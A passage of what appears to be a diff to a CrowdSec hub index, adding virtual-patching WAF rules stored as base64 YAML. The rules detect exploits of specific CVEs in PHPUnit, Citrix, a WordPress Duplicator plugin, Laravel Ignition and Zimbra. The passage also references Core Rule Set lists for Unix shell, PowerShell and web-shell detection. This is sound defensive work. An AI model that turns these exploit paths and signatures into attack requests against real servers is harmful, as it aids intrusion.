xJQ0FUSU9OLUFUVEFDSy1KQVZBLmNvbmYKICAgIGRlc3RfZmlsZTogUkVRVUVTVC05NDQtQVBQTElDQVRJT04tQVRUQUNLLUpBVkEuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVRVUVTVC05NDktQkxPQ0tJTkctRVZBTFVBVElPTi5jb25mCiAgICBkZXN0X2ZpbGU6IFJFUVVFU1QtOTQ5LUJMT0NLSU5HLUVWQUxVQVRJT04uY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVTUE9OU0UtOTUwLURBVEEtTEVBS0FHRVMuY29uZgogICAgZGVzdF9maWxlOiBSRVNQT05TRS05NTAtREFUQS1MRUFLQUdFUy5jb25mCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9SRVNQT05TRS05NTEtREFUQS1MRUFLQUdFUy1TUUwuY29uZgogICAgZGVzdF9maWxlOiBSRVNQT05TRS05NTEtREFUQS1MRUFLQUdFUy1TUUwuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVTUE9OU0UtOTUyLURBVEEtTEVBS0FHRVMtSkFWQS5jb25mCiAgICBkZXN0X2ZpbGU6IFJFU1BPTlNFLTk1Mi1EQVRBLUxFQUtBR0VTLUpBVkEuY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVTUE9OU0UtOTUzLURBVEEtTEVBS0FHRVMtUEhQLmNvbmYKICAgIGRlc3RfZmlsZTogUkVTUE9OU0UtOTUzLURBVEEtTEVBS0FHRVMtUEhQLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFU1BPTlNFLTk1NC1EQVRBLUxFQUtBR0VTLUlJUy5jb25mCiAgICBkZXN0X2ZpbGU6IFJFU1BPTlNFLTk1NC1EQVRBLUxFQUtBR0VTLUlJUy5jb25mCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9SRVNQT05TRS05NTUtV0VCLVNIRUxMUy5jb25mCiAgICBkZXN0X2ZpbGU6IFJFU1BPTlNFLTk1NS1XRUItU0hFTExTLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL1JFU1BPTlNFLTk1OS1CTE9DS0lORy1FVkFMVUFUSU9OLmNvbmYKICAgIGRlc3RfZmlsZTogUkVTUE9OU0UtOTU5LUJMT0NLSU5HLUVWQUxVQVRJT04uY29uZgogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvUkVTUE9OU0UtOTgwLUNPUlJFTEFUSU9OLmNvbmYKICAgIGRlc3RfZmlsZTogUkVTUE9OU0UtOTgwLUNPUlJFTEFUSU9OLmNvbmYKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL2NyYXdsZXJzLXVzZXItYWdlbnRzLmRhdGEKICAgIGRlc3RfZmlsZTogY3Jhd2xlcnMtdXNlci1hZ2VudHMuZGF0YQogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvaWlzLWVycm9ycy5kYXRhCiAgICBkZXN0X2ZpbGU6IGlpcy1lcnJvcnMuZGF0YQogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvamF2YS1jbGFzc2VzLmRhdGEKICAgIGRlc3RfZmlsZTogamF2YS1jbGFzc2VzLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL2phdmEtY29kZS1sZWFrYWdlcy5kYXRhCiAgICBkZXN0X2ZpbGU6IGphdmEtY29kZS1sZWFrYWdlcy5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9qYXZhLWVycm9ycy5kYXRhCiAgICBkZXN0X2ZpbGU6IGphdmEtZXJyb3JzLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL2xmaS1vcy1maWxlcy5kYXRhCiAgICBkZXN0X2ZpbGU6IGxmaS1vcy1maWxlcy5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9waHAtY29uZmlnLWRpcmVjdGl2ZXMuZGF0YQogICAgZGVzdF9maWxlOiBwaHAtY29uZmlnLWRpcmVjdGl2ZXMuZGF0YQogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvcGhwLWVycm9ycy5kYXRhCiAgICBkZXN0X2ZpbGU6IHBocC1lcnJvcnMuZGF0YQogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvcGhwLWVycm9ycy1wbDIuZGF0YQogICAgZGVzdF9maWxlOiBwaHAtZXJyb3JzLXBsMi5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9waHAtZnVuY3Rpb24tbmFtZXMtOTMzMTUwLmRhdGEKICAgIGRlc3RfZmlsZTogcGhwLWZ1bmN0aW9uLW5hbWVzLTkzMzE1MC5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9waHAtZnVuY3Rpb24tbmFtZXMtOTMzMTUxLmRhdGEKICAgIGRlc3RfZmlsZTogcGhwLWZ1bmN0aW9uLW5hbWVzLTkzMzE1MS5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9waHAtdmFyaWFibGVzLmRhdGEKICAgIGRlc3RfZmlsZTogcGhwLXZhcmlhYmxlcy5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9yZXN0cmljdGVkLWZpbGVzLmRhdGEKICAgIGRlc3RfZmlsZTogcmVzdHJpY3RlZC1maWxlcy5kYXRhCiAgICB0eXBlOiBtb2RzZWMKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy93YWYtcnVsZXMvd2FmL2Nycy9yZXN0cmljdGVkLXVwbG9hZC5kYXRhCiAgICBkZXN0X2ZpbGU6IHJlc3RyaWN0ZWQtdXBsb2FkLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3NjYW5uZXJzLWhlYWRlcnMuZGF0YQogICAgZGVzdF9maWxlOiBzY2FubmVycy1oZWFkZXJzLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3NjYW5uZXJzLXVybHMuZGF0YQogICAgZGVzdF9maWxlOiBzY2FubmVycy11cmxzLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3NjYW5uZXJzLXVzZXItYWdlbnRzLmRhdGEKICAgIGRlc3RfZmlsZTogc2Nhbm5lcnMtdXNlci1hZ2VudHMuZGF0YQogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvc2NyaXB0aW5nLXVzZXItYWdlbnRzLmRhdGEKICAgIGRlc3RfZmlsZTogc2NyaXB0aW5nLXVzZXItYWdlbnRzLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3NxbC1lcnJvcnMuZGF0YQogICAgZGVzdF9maWxlOiBzcWwtZXJyb3JzLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3NzcmYuZGF0YQogICAgZGVzdF9maWxlOiBzc3JmLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3VuaXgtc2hlbGwuZGF0YQogICAgZGVzdF9maWxlOiB1bml4LXNoZWxsLmRhdGEKICAgIHR5cGU6IG1vZHNlYwogIC0gc291cmNlX3VybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvc2VjLWxpc3RzL3dhZi1ydWxlcy93YWYvY3JzL3dlYi1zaGVsbHMtcGhwLmRhdGEKICAgIGRlc3RfZmlsZTogd2ViLXNoZWxscy1waHAuZGF0YQogICAgdHlwZTogbW9kc2VjCiAgLSBzb3VyY2VfdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9zZWMtbGlzdHMvd2FmLXJ1bGVzL3dhZi9jcnMvd2luZG93cy1wb3dlcnNoZWxsLWNvbW1hbmRzLmRhdGEKICAgIGRlc3RfZmlsZTogd2luZG93cy1wb3dlcnNoZWxsLWNvbW1hbmRzLmRhdGEKICAgIHR5cGU6IG1vZHNlYw==",
+ "author": "crowdsecurity",
+ "labels": null
+ },
+ "crowdsecurity/vpatch-CVE-2017-9841": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2017-9841.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "0737417a66c5327708f6eff4392a4461002592fabcda6cdbdaa4143bce185503",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "6e5549b580c3a35315a6660a2904eafd3b463141d95f1ad2d5d606d55eb0b046",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMTctOTg0MQpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAxNy05ODQxIGV4cGxvaXRzICIKcnVsZXM6CiAgLSBhbmQ6CiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgICAgdmFsdWU6IC91dGlsL3BocC9ldmFsLXN0ZGluLnBocApsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOmV4cGxvaXQiCiAgbGFiZWw6ICJQSFBVbml0IFJDRSAoQ1ZFLTIwMTctOTg0MSkiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDE3LTk4NDEKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTk0",
+ "description": "Detect CVE-2017-9841 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2017-9841",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-94"
+ ],
+ "confidence": 3,
+ "label": "PHPUnit RCE (CVE-2017-9841)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2019-12989": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2019-12989.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "a2f681cb8b762e33a66e63343a9fce32d5416438322ec376946ff78428543714",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "a8137b302f6fa55456dcf9cb7e9e9ba11dd878f0b91c90b3910fa4af397e0218",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMTktMTI5ODkKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMTktMTI5ODkgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBQT1NUCiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgICAgdmFsdWU6IC9zZHdhbi9uaXRyby92MS9jb25maWcvZ2V0X3BhY2thZ2VfZmlsZQogICAgLSB6b25lczoKICAgICAgLSBBUkdTCiAgICAgIHZhcmlhYmxlczoKICAgICAgIC0gYWN0aW9uCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZXF1YWxzCiAgICAgICAgdmFsdWU6ICJmaWxlX2Rvd25sb2FkIgogICAgLSB6b25lczoKICAgICAgLSBCT0RZX0FSR1MKICAgICAgdmFyaWFibGVzOgogICAgICAgLSBqc29uLmdldF9wYWNrYWdlX2ZpbGUuc2l0ZV9uYW1lCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGxpYmluamVjdGlvblNRTApsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOmV4cGxvaXQiCiAgbGFiZWw6ICJjaXRyaXggU1FMaSAoQ1ZFLTIwMTktMTI5ODkpIgogIGNsYXNzaWZpY2F0aW9uOgogICAtIGN2ZS5DVkUtMjAxOS0xMjk4OQogICAtIGF0dGFjay5UMTU5NQogICAtIGF0dGFjay5UMTE5MAogICAtIGN3ZS5DV0UtODk=",
+ "description": "Detect CVE-2019-12989 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2019-12989",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-89"
+ ],
+ "confidence": 3,
+ "label": "citrix SQLi (CVE-2019-12989)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2020-11738": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2020-11738.yaml",
+ "version": "0.4",
+ "versions": {
+ "0.1": {
+ "digest": "4760198ce14851e3387470bc0270f662b58aa32b8ef1f4217af6818e4f0cedbe",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "d939fd479841838064eb205911dd20f35a8070eea2734cf4e0c7bd0c2b5444fe",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "d82023967b6e1516519bf0adf7ae5e4d192c19039434267cffd73058f550c2fc",
+ "deprecated": false
+ },
+ "0.4": {
+ "digest": "e73f8dadfeb909e98e3609d0cc098533f2c0351503cabebdf92a43f9d1b3e94c",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjAtMTE3MzgKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjAtMTE3MzggZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL3dwLWFkbWluL2FkbWluLWFqYXgucGhwCiAgICAtIHpvbmVzOgogICAgICAtIEFSR1MKICAgICAgdmFyaWFibGVzOgogICAgICAgIC0gYWN0aW9uCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBkdXBsaWNhdG9yX2Rvd25sb2FkCiAgICAtIHpvbmVzOgogICAgICAtIEFSR1MKICAgICAgdmFyaWFibGVzOgogICAgICAgIC0gZmlsZQogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiBjb250YWlucwogICAgICAgIHZhbHVlOiAiLi4iCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgc2VydmljZTogaHR0cAogIGNvbmZpZGVuY2U6IDMKICBzcG9vZmFibGU6IDAKICBiZWhhdmlvcjogImh0dHA6ZXhwbG9pdCIKICBsYWJlbDogIldvcmRwcmVzcyBTbmFwIENyZWVrIER1cGxpY2F0b3IgKENWRS0yMDIwLTExNzM4KSIKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBjdmUuQ1ZFLTIwMjAtMTE3MzgKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTIy",
+ "description": "Detect CVE-2020-11738 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2020-11738",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-22"
+ ],
+ "confidence": 3,
+ "label": "Wordpress Snap Creek Duplicator (CVE-2020-11738)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2021-22941": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2021-22941.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "994975ada2914e56168b94db4acb5f28293673fcf824d35619d5e35539cf8052",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "0057a096e2d27ce5264d9481dd073bf97d7ef9a6b7e3e11785cfd8dde880db56",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjEtMjI5NDEKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjEtMjI5NDEgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gTUVUSE9ECiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVxdWFscwogICAgICAgIHZhbHVlOiBQT1NUCiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgICAgdmFsdWU6IC91cGxvYWQuYXNweAogICAgLSB6b25lczoKICAgICAgLSBBUkdTCiAgICAgIHZhcmlhYmxlczoKICAgICAgIC0gdXBsb2FkaWQKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogY29udGFpbnMKICAgICAgICB2YWx1ZTogIi4uIgpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOmV4cGxvaXQiCiAgbGFiZWw6ICJDaXRyaXggUkNFIChDVkUtMjAyMS0yMjk0MSkiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIxLTIyOTQxCiAgIC0gYXR0YWNrLlQxNTk1CiAgIC0gYXR0YWNrLlQxMTkwCiAgIC0gY3dlLkNXRS0yODQ=",
+ "description": "Detect CVE-2021-22941 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2021-22941",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-284"
+ ],
+ "confidence": 3,
+ "label": "Citrix RCE (CVE-2021-22941)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2021-3129": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2021-3129.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "78803a49055ed71b353ddf43560d700d0b64ebfb172ef6705457f793a9f37b34",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "b155e9bbe64b4b44f3c98617c4b3bfedaadcce147e0685290e0d7a8dbdf47108",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjEtMzEyOQpkZXNjcmlwdGlvbjogIkRldGVjdCBDVkUtMjAyMS0zMTI5IGV4cGxvaXRzICIKcnVsZXM6CiAgLSBhbmQ6CiAgICAtIHpvbmVzOgogICAgICAtIFVSSQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGVuZHNXaXRoCiAgICAgICAgdmFsdWU6IC9faWduaXRpb24vZXhlY3V0ZS1zb2x1dGlvbgogICAgLSB6b25lczoKICAgICAgLSBCT0RZX0FSR1MKICAgICAgdmFyaWFibGVzOgogICAgICAtIGpzb24ucGFyYW1ldGVycy52aWV3RmlsZQogICAgICBtYXRjaDoKICAgICAgICB0eXBlOiByZWdleAogICAgICAgIHZhbHVlOiAicGhwOi8vZmlsdGVyfHBoYXI6Ly8iCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgc2VydmljZTogaHR0cAogIGNvbmZpZGVuY2U6IDMKICBzcG9vZmFibGU6IDAKICBiZWhhdmlvcjogImh0dHA6ZXhwbG9pdCIKICBsYWJlbDogIkxhcmF2ZWwgd2l0aCBJZ25pdGlvbiA8PSB2OC40LjIgRGVidWcgTW9kZSAtIFJlbW90ZSBDb2RlIEV4ZWN1dGlvbiAoQ1ZFLTIwMjEtMzEyOSkiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIxLTMxMjkKICAgLSBhdHRhY2suVDE1OTUKICAgLSBhdHRhY2suVDExOTAKICAgLSBjd2UuQ1dFLTk4",
+ "description": "Detect CVE-2021-3129 exploits ",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "cve.CVE-2021-3129",
+ "attack.T1595",
+ "attack.T1190",
+ "cwe.CWE-98"
+ ],
+ "confidence": 3,
+ "label": "Laravel with Ignition \u003c= v8.4.2 Debug Mode - Remote Code Execution (CVE-2021-3129)",
+ "service": "http",
+ "spoofable": 0,
+ "type": "exploit"
+ }
+ },
+ "crowdsecurity/vpatch-CVE-2022-27926": {
+ "path": "appsec-rules/crowdsecurity/vpatch-CVE-2022-27926.yaml",
+ "version": "0.2",
+ "versions": {
+ "0.1": {
+ "digest": "d96237a7ed02eb7aa9df45a684b5cef8f5145e857d10b5260373739668ad63f5",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "ba56077560152e4dd0e06c1bc1e6522515142b0ea7a27dff2c0ea289ddaee174",
+ "deprecated": false
+ }
+ },
+ "content": "bmFtZTogY3Jvd2RzZWN1cml0eS92cGF0Y2gtQ1ZFLTIwMjItMjc5MjYKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjItMjc5MjYgZXhwbG9pdHMgIgpydWxlczoKICAtIGFuZDoKICAgIC0gem9uZXM6CiAgICAgIC0gVVJJCiAgICAgIHRyYW5zZm9ybToKICAgICAgLSBsb3dlcmNhc2UKICAgICAgbWF0Y2g6CiAgICAgICAgdHlwZTogZW5kc1dpdGgKICAgICAgICB2YWx1ZTogL3B1YmxpYy9lcnJvci5qc3AKICAgIC0gem9uZXM6CiAgICAgIC0gQVJHUwogICAgICB2YXJpYWJsZXM6CiAgICAgIC0gZXJyQ29kZQogICAgICB0cmFuc2Zvcm06CiAgICAgIC0gbG93ZXJjYXNlCiAgICAgIG1hdGNoOgogICAgICAgIHR5cGU6IGxpYmluamVjdGlvblhTUwpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHNlcnZpY2U6IGh0dHAKICBjb25maWRlbmNlOiAzCiAgc3Bvb2ZhYmxlOiAwCiAgYmVoYXZpb3I6ICJodHRwOmV4cGxvaXQiCiAgbGFiZWw6ICJaaW1icmEgQ29sbGFib3JhdGlvbiAoWkNTKSAtIENyb3NzIFNpdGUgU2NyaXB0aW5nIChDVkUtMjAyMi0yNzkyNikiCiAgY2xhc3NpZmljYXRpb246CiAgIC0gY3ZlLkNWRS0yMDIyLTI3OTI2CiAgIC0gYXR0YWNrLlQxNTk1CiAgIC0gYXR0YWNrLlQxMTkwCiAgIC0gY3dlLkNXRS03OQ==",
+ "description": "Detect CVE-2022-27926 exploits ",
+ "author": "crowdsecurity",
